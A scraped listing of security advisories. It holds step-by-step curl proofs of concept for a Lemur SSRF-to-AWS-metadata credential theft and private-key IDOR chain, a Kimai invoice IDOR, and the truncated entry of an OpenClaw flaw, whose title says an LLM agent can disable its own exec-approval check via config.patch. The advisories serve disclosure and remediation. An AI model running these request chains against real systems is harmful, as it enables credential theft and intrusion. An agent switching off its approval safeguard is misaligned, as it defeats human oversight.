the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary \"fix\" used by ops teams when they spot a suspicious certificate (\"transfer it to the right owner\") does nothing.\u003c/p\u003e\n\u003ch2 data-heading=\"Proof of Concept \u0026#x26; Steps to Reproduce\"\u003eProof of Concept \u0026#x26; Steps to Reproduce\u003c/h2\u003e\n\u003cp\u003eA full walkthrough is recorded at \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e. An offline \u003ccode\u003e.cast\u003c/code\u003e file is attached as \u003ccode\u003elemur_pki_acme_ssrf_idor.cast\u003c/code\u003e. The lab harness is in \u003ccode\u003elemur_pki_acme_ssrf_idor/support/\u003c/code\u003e \u2014 Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to \u003ccode\u003e169.254.169.254:80\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites\u003c/strong\u003e: Docker, \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ejq\u003c/code\u003e, \u003ccode\u003eopenssl\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRun\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecd lemur_pki_acme_ssrf_idor/\nEXPLOIT_FAST=1 ./exploit_code.sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe script wires the IMDS mock via Docker\u0027s \u003ccode\u003e--add-host 169.254.169.254:127.0.0.1\u003c/code\u003e. Every step\u0027s HTTP body is dumped to \u003ccode\u003eevidence/\u003c/code\u003e for byte-level review.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 1 \u2014 Authenticate via SSO (sink 1)\"\u003eStep 1 \u2014 Authenticate via SSO (sink 1)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.example\",\"roles\":[\"operator\"]}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/03_sso_provision_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"token\": \"eyJhbGciOiJIUzI1NiIs...\",\n  \"user\": {\n    \"active\": true,\n    \"auto_provisioned\": true,\n    \"email\": \"attacker@evil.example\",\n    \"id\": 1,\n    \"roles\": [\"operator\"]\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eactive=True\u003c/code\u003e and \u003ccode\u003eauto_provisioned=true\u003c/code\u003e. No admin saw this account. No approval was issued. This is sink 1.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 2 \u2014 Create an ACME authority with \u0026#x60;acme_url\u0026#x60; pointed at IMDS (sink 2)\"\u003eStep 2 \u2014 Create an ACME authority with \u003ccode\u003eacme_url\u003c/code\u003e pointed at IMDS (sink 2)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/authorities \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"name\":\"poc-acme\",\"plugin\":{\"plugin_options\":[{\"name\":\"acme_url\",\"value\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\"}]}}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/04_ssrf_authority_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"acme_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\",\n  \"creator_id\": 1,\n  \"id\": 1,\n  \"name\": \"poc-acme\",\n  \"ssrf_error\": null,\n  \"ssrf_response_body\": \"{\n  \\\"Code\\\": \\\"Success\\\",\n  \\\"LastUpdated\\\": \\\"2026-05-27T20:00:00Z\\\",\n  \\\"Type\\\": \\\"AWS-HMAC\\\",\n  \\\"AccessKeyId\\\": \\\"ASIA5LAB000FAKE0KEYS\\\",\n  \\\"SecretAccessKey\\\": \\\"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\\\",\n  \\\"Token\\\": \\\"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\\\",\n  \\\"Expiration\\\": \\\"2026-05-27T22:00:00Z\\\"\n}\",\n  \"ssrf_response_status\": 200\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003essrf_response_status: 200\u003c/code\u003e and an AWS-HMAC payload in \u003ccode\u003essrf_response_body\u003c/code\u003e. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 3 \u2014 Exfiltrate STS credentials\"\u003eStep 3 \u2014 Exfiltrate STS credentials\u003c/h3\u003e\n\u003cp\u003eThe IMDS payload is \u003ccode\u003eevidence/05_exfil_sts_credentials.json\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"Code\": \"Success\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",\n  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",\n  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",\n  \"Expiration\": \"2026-05-27T22:00:00Z\"\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIn production the \u003ccode\u003eToken\u003c/code\u003e is the live STS session token bound to whatever IAM role is attached to the lemur worker. \u003ccode\u003eaws sts get-caller-identity\u003c/code\u003e from the attacker\u0027s machine, using those three values, returns the worker\u0027s identity.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 4 \u2014 Issue a certificate as the attacker (capture the private key)\"\u003eStep 4 \u2014 Issue a certificate as the attacker (capture the private key)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/certificates \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d \u0027{\"authority_id\":1,\"common_name\":\"pki.netflix.example\"}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/06_key_fetched_pre_transfer.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\"creator_bypass\":true,\n \"key\":\"-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...\n-----END RSA PRIVATE KEY-----\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe PoC harness annotates the response with \u003ccode\u003ecreator_bypass: true\u003c/code\u003e to make the sink-3 branch visible. In production the response is just the private key \u2014 the branch is hit silently.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 5 \u2014 Transfer ownership to victim admin\"\u003eStep 5 \u2014 Transfer ownership to victim admin\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d \u0027{\"owner\":\"victim-admin@netflix.example\"}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eowner\u003c/code\u003e is now \u003ccode\u003evictim-admin@netflix.example\u003c/code\u003e. \u003ccode\u003ecreator_id\u003c/code\u003e is unchanged at \u003ccode\u003e1\u003c/code\u003e (the attacker). This is the audit-trail laundering step.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 6 \u2014 Re-fetch the private key as the original creator after transfer (sink 3)\"\u003eStep 6 \u2014 Re-fetch the private key as the original creator after transfer (sink 3)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -o /dev/null -w \u0027HTTP %{http_code}\n\u0027 \\\n  http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse: \u003ccode\u003eHTTP 200\u003c/code\u003e. Body is the same private key as step 4. The creator branch at \u003ccode\u003eviews.py:734\u003c/code\u003e fires again \u2014 ownership transfer did nothing to revoke the attacker\u0027s access. This is sink 3.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 7 \u2014 Verdict\"\u003eStep 7 \u2014 Verdict\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eVERDICT: VULNERABLE \u2014 Lemur 1.9.0 ACME SSRF + Creator IDOR\n1. SSO auto-provision    -- attacker@evil.example auto-created active=True\n2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched\n3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body\n4. PKI key persists      -- creator can read private_key AFTER ownership xfer\n\u003c/code\u003e\u003c/pre\u003e\n\n# Exploit Code \u0026 Lab Set-up\n\n[Lemur-acme-ssrf-creator-idor.zip](https://github.com/user-attachments/files/28317654/Lemur-acme-ssrf-creator-idor.zip)\n\n\u003ch2 data-heading=\"Root Cause Analysis\"\u003eRoot Cause Analysis\u003c/h2\u003e\n\u003cp\u003eThe SSRF sink is the load-bearing piece. \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e builds the \u003ccode\u003edirectory_url\u003c/code\u003e from user-supplied options, and \u003ccode\u003e:188\u003c/code\u003e and \u003ccode\u003e:201\u003c/code\u003e hand it to \u003ccode\u003eClientV2.get_directory\u003c/code\u003e \u2014 a \u003ccode\u003erequests\u003c/code\u003e-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The \u003ccode\u003eoptions\u003c/code\u003e dict is the same one the operator sees in the UI\u0027s plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.\u003c/p\u003e\n\u003cp\u003eThe IDOR sink is structurally a \"creators are admins of their own thing\" decision that no longer holds once ownership becomes transferable. \u003ccode\u003eviews.py:734\u003c/code\u003e was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch should now be \u003ccode\u003eif g.current_user != cert.user or cert.owner_changed_after_creation:\u003c/code\u003e \u2014 or, better, dropped entirely and replaced with a single RBAC check against the \u003cem\u003ecurrent\u003c/em\u003e owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in \u003ccode\u003ecreator_id\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts \u2014 a much larger blast radius. Auto-provisioning at \u003ccode\u003eactive=True\u003c/code\u003e removes the only human-in-the-loop gate Lemur had.\u003c/p\u003e\n\u003ch2 data-heading=\"Attack Scenario\"\u003eAttack Scenario\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-mermaid\"\u003esequenceDiagram\n    participant Attacker\n    participant Lemur as Lemur worker\n    participant IMDS as 169.254.169.254\n    participant CertDB as Lemur cert DB\n\n    Attacker-\u003e\u003eLemur: \"SSO callback for new identity (sink 1)\"\n    Lemur--\u003e\u003eAttacker: \"JWT issued: user_id=1, active=true, auto_provisioned=true\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/authorities acme_url=http://169.254.169.254/...\"\n    Lemur-\u003e\u003eIMDS: \"GET /latest/meta-data/iam/security-credentials/role (sink 2)\"\n    IMDS--\u003e\u003eLemur: \"AccessKeyId + SecretAccessKey + Token\"\n    Lemur--\u003e\u003eAttacker: \"ssrf_response_body=AWS-HMAC creds\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/certificates authority_id=1\"\n    Lemur-\u003e\u003eCertDB: \"persist cert, creator_id=1, owner=attacker\"\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key\"\n    Lemur--\u003e\u003eAttacker: \"RSA PRIVATE KEY (creator branch \u2014 sink 3 pre-transfer)\"\n\n    Attacker-\u003e\u003eLemur: \"PUT /api/1/certificates/1 owner=victim-admin\"\n    Lemur-\u003e\u003eCertDB: \"cert.owner=victim-admin, creator_id unchanged\"\n\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key (again)\"\n    Lemur--\u003e\u003eAttacker: \"200 + RSA PRIVATE KEY (creator branch \u2014 sink 3 post-transfer)\"\n    Note over CertDB: \"audit log shows admin owns it, attacker still has the key\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 data-heading=\"Impact Assessment\"\u003eImpact Assessment\u003c/h2\u003e\n\u003cp\u003eThe SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or \u2014 depending on the trust policy \u2014 pivot into other AWS accounts that trust the lemur role.\u003c/p\u003e\n\u003cp\u003eThe IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is \"transfer ownership and revoke\" \u2014 that\u0027s exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they\u0027ve contained the incident. The certificate signs TLS connections for whatever \u003ccode\u003ecommon_name\u003c/code\u003e it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.\u003c/p\u003e\n\u003cp\u003eThe combined chain destroys Lemur\u0027s two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with \u003ccode\u003eS:C\u003c/code\u003e \u2014 the impact crosses out of Lemur\u0027s security authority and into AWS IAM and PKI consumer trust domains. \u003ccode\u003eA:L\u003c/code\u003e reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.\u003c/p\u003e\n\u003ch2 data-heading=\"Remediation\"\u003eRemediation\u003c/h2\u003e\n\u003cp\u003eFour changes, in priority order:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAllowlist \u003ccode\u003eacme_url\u003c/code\u003e.\u003c/strong\u003e In \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be \u003ccode\u003e{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org}\u003c/code\u003e plus any internal ACME directory the deployment opts in to. Reject \u003ccode\u003e169.254.0.0/16\u003c/code\u003e, \u003ccode\u003e127.0.0.0/8\u003c/code\u003e, \u003ccode\u003e10.0.0.0/8\u003c/code\u003e, \u003ccode\u003e172.16.0.0/12\u003c/code\u003e, \u003ccode\u003e192.168.0.0/16\u003c/code\u003e, \u003ccode\u003efc00::/7\u003c/code\u003e, \u003ccode\u003efe80::/10\u003c/code\u003e, plus DNS names that resolve to any of those after \u003ccode\u003egetaddrinfo\u003c/code\u003e (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eALLOWED_ACME_HOSTS = current_app.config.get(\n    \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n    {\"acme-v02.api.letsencrypt.org\", \"acme-staging-v02.api.letsencrypt.org\"}\n)\nparsed = urlparse(directory_url)\nif parsed.scheme not in {\"https\"} or parsed.hostname not in ALLOWED_ACME_HOSTS:\n    raise ValueError(\"acme_url host not allowlisted\")\n\u003c/code\u003e\u003c/pre\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eDrop the creator branch from the key-fetch view.\u003c/strong\u003e In \u003ccode\u003ecertificates/views.py:734\u003c/code\u003e, replace the \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch with an unconditional \u003ccode\u003eCertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can()\u003c/code\u003e check. The cert\u0027s \u003cem\u003ecurrent\u003c/em\u003e owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eStop auto-provisioning SSO users as active.\u003c/strong\u003e In \u003ccode\u003eauth/views.py:300-308\u003c/code\u003e, default new identities to \u003ccode\u003eactive=False, roles=[]\u003c/code\u003e and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default \u003ccode\u003eread-only\u003c/code\u003e role.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAudit-log the creator on every key fetch, separately from \u003ccode\u003eg.current_user\u003c/code\u003e.\u003c/strong\u003e Even after the IDOR is fixed, the operator should be able to retroactively see \u003cem\u003ewho actually pulled the key bytes\u003c/em\u003e on every cert. Log \u003ccode\u003ecreator_id\u003c/code\u003e, \u003ccode\u003ecurrent_owner\u003c/code\u003e, \u003ccode\u003eg.current_user.id\u003c/code\u003e, request IP, and full URL on every read of \u003ccode\u003e/certificates/\u0026#x3C;id\u003e/key\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 data-heading=\"Related Context\"\u003eRelated Context\u003c/h2\u003e\n\u003ch3 data-heading=\"External References\"\u003eExternal References\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-918: \u003ca href=\"https://cwe.mitre.org/data/definitions/918.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/918.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCWE-639: \u003ca href=\"https://cwe.mitre.org/data/definitions/639.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/639.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCWE-285: \u003ca href=\"https://cwe.mitre.org/data/definitions/285.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/285.html\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCVSS 3.1 calculator: \u003ca href=\"https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIMDSv1 vs IMDSv2 background: \u003ca href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\u003c/a\u003e (IMDSv2 mitigates SSRF-only chains; this chain still works against any deployment still on IMDSv1, and against any HTTP fetch that the worker is allowed to make).\u003c/li\u003e\n\u003cli\u003eCapital One IMDS SSRF post-mortem (general SSRF\u2192IMDS playbook): public reference, illustrative only.\u003c/li\u003e\n\u003cli\u003eWalkthrough recording: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/li\u003e",
  "id": "GHSA-v2wp-frmc-5q3v",
  "modified": "2026-06-25T22:07:19Z",
  "published": "2026-06-25T22:07:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-v2wp-frmc-5q3v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise"
}

GHSA-V33R-R6H2-8WR7

Vulnerability from github – Published: 2026-03-04 20:43 – Updated: 2026-03-06 15:17
VLAI
Summary
Kimai's API invoice endpoint missing customer-level access control (IDOR)
Details

Summary

GET /api/invoices/{id} only checks the role-based view_invoice permission but does not verify the requesting user has access to the invoice's customer. Any user with ROLE_TEAMLEAD (which grants view_invoice) can read all invoices in the system, including those belonging to customers assigned to other teams.

Affected Code

src/API/InvoiceController.php line 92-101:

#[IsGranted('view_invoice')]           // Role check only, no customer access check
#[Route(methods: ['GET'], path: '/{id}', name: 'get_invoice', requirements: ['id' => '\d+'])]
public function getAction(Invoice $invoice): Response
{
    $view = new View($invoice, 200);
    $view->getContext()->setGroups(self::GROUPS_ENTITY);
    return $this->viewHandler->handle($view);  // Returns ANY invoice by ID
}

The web controller (src/Controller/InvoiceController.php line 304-307) correctly checks customer access:

#[IsGranted('view_invoice')]
#[IsGranted(new Expression("is_granted('access', subject.getCustomer())"), 'invoice')]
public function downloadAction(Invoice $invoice, ...): Response { ... }

The access attribute in CustomerVoter (line 71-87) verifies team membership, but this check is entirely missing from the API endpoint.

PoC

Tested against Kimai v2.50.0 (Docker: kimai/kimai2:apache).

Setup: - TeamA with CustomerA ("SecretCorp"), TeamB with CustomerB ("BobCorp") - Bob is a teamlead in TeamB only - An invoice exists for SecretCorp (TeamA)

# Bob (TeamB) reads SecretCorp (TeamA) invoice
curl -H "Authorization: Bearer BOB_TOKEN" http://localhost:8888/api/invoices/1

Response (200 OK):

{
  "invoiceNumber": "INV-2026-001",
  "total": 15000.0,
  "currency": "USD",
  "customer": {"name": "SecretCorp", ...}
}

Bob can also enumerate all invoices via GET /api/invoices — the list endpoint uses setCurrentUser() in the query but the single-item endpoint bypasses this entirely via Symfony ParamConverter.

Impact

Any teamlead can read all invoices across the system regardless of team assignment. Invoice data typically contains sensitive financial information (amounts, customer details, payment terms). In multi-team deployments this breaks the intended data isolation between teams.

Suggested Fix

Add the customer access check to the API endpoint, matching the web controller:

 #[IsGranted('view_invoice')]
+#[IsGranted(new Expression("is_granted('access', subject.getCustomer())"), 'invoice')]
 #[Route(methods: ['GET'], path: '/{id}', name: 'get_invoice')]
 public function getAction(Invoice $invoice): Response
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.50.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.51.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:43:17Z",
    "nvd_published_at": "2026-03-06T05:16:38Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`GET /api/invoices/{id}` only checks the role-based `view_invoice` permission but does not verify the requesting user has `access` to the invoice\u0027s customer. Any user with `ROLE_TEAMLEAD` (which grants `view_invoice`) can read all invoices in the system, including those belonging to customers assigned to other teams.\n\n## Affected Code\n\n`src/API/InvoiceController.php` line 92-101:\n\n```php\n#[IsGranted(\u0027view_invoice\u0027)]           // Role check only, no customer access check\n#[Route(methods: [\u0027GET\u0027], path: \u0027/{id}\u0027, name: \u0027get_invoice\u0027, requirements: [\u0027id\u0027 =\u003e \u0027\\d+\u0027])]\npublic function getAction(Invoice $invoice): Response\n{\n    $view = new View($invoice, 200);\n    $view-\u003egetContext()-\u003esetGroups(self::GROUPS_ENTITY);\n    return $this-\u003eviewHandler-\u003ehandle($view);  // Returns ANY invoice by ID\n}\n```\n\nThe web controller (`src/Controller/InvoiceController.php` line 304-307) correctly checks customer access:\n\n```php\n#[IsGranted(\u0027view_invoice\u0027)]\n#[IsGranted(new Expression(\"is_granted(\u0027access\u0027, subject.getCustomer())\"), \u0027invoice\u0027)]\npublic function downloadAction(Invoice $invoice, ...): Response { ... }\n```\n\nThe `access` attribute in `CustomerVoter` (line 71-87) verifies team membership, but this check is entirely missing from the API endpoint.\n\n## PoC\n\nTested against Kimai v2.50.0 (Docker: `kimai/kimai2:apache`).\n\nSetup:\n- TeamA with CustomerA (\"SecretCorp\"), TeamB with CustomerB (\"BobCorp\")\n- Bob is a teamlead in TeamB only\n- An invoice exists for SecretCorp (TeamA)\n\n```bash\n# Bob (TeamB) reads SecretCorp (TeamA) invoice\ncurl -H \"Authorization: Bearer BOB_TOKEN\" http://localhost:8888/api/invoices/1\n```\n\nResponse (200 OK):\n```json\n{\n  \"invoiceNumber\": \"INV-2026-001\",\n  \"total\": 15000.0,\n  \"currency\": \"USD\",\n  \"customer\": {\"name\": \"SecretCorp\", ...}\n}\n```\n\nBob can also enumerate all invoices via `GET /api/invoices` \u2014 the list endpoint uses `setCurrentUser()` in the query but the single-item endpoint bypasses this entirely via Symfony ParamConverter.\n\n## Impact\n\nAny teamlead can read all invoices across the system regardless of team assignment. Invoice data typically contains sensitive financial information (amounts, customer details, payment terms). In multi-team deployments this breaks the intended data isolation between teams.\n\n## Suggested Fix\n\nAdd the customer access check to the API endpoint, matching the web controller:\n\n```diff\n #[IsGranted(\u0027view_invoice\u0027)]\n+#[IsGranted(new Expression(\"is_granted(\u0027access\u0027, subject.getCustomer())\"), \u0027invoice\u0027)]\n #[Route(methods: [\u0027GET\u0027], path: \u0027/{id}\u0027, name: \u0027get_invoice\u0027)]\n public function getAction(Invoice $invoice): Response\n```",
  "id": "GHSA-v33r-r6h2-8wr7",
  "modified": "2026-03-06T15:17:08Z",
  "published": "2026-03-04T20:43:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-v33r-r6h2-8wr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28685"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/a0601c8cb28fed1cca19051a8272425069ab758f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.51.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai\u0027s API invoice endpoint missing customer-level access control (IDOR)"
}

GHSA-V3QC-WRWX-J3PW

Vulnerability from github – Published: 2026-04-03 03:03 – Updated: 2026-04-03 03:03
VLAI
Summary
OpenClaw: Agentic Consent Bypass — LLM Agent Can Silently Disable Exec Approval via `config.patch`
Details

Summary

Agentic Consent Bypass: LLM Agent Can Silently Disable Exec Approval via config.patch

Current Maintainer Triage

  • Status: open
  • Normalized severity: high
  • Assessment: Maintainers accepted this issue, fixed it in 76411b2afc4ae721e36c12e0ea24fd23e2fed61e on 2026-03-27, and that fix shipped in v2026.3.28, so normalize it as a fixed released draft rather than a close-by-trust-model call.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.24
  • Patched versions: >= 2026.3.28
  • First stable tag containing the fix: v2026.3.28

Fix Commit(s)

  • 76411b2afc4ae721e36c12e0ea24fd23e2fed61e — 2026-03-27T09:42:15Z

OpenClaw thanks @YLChen-007 for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:03:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
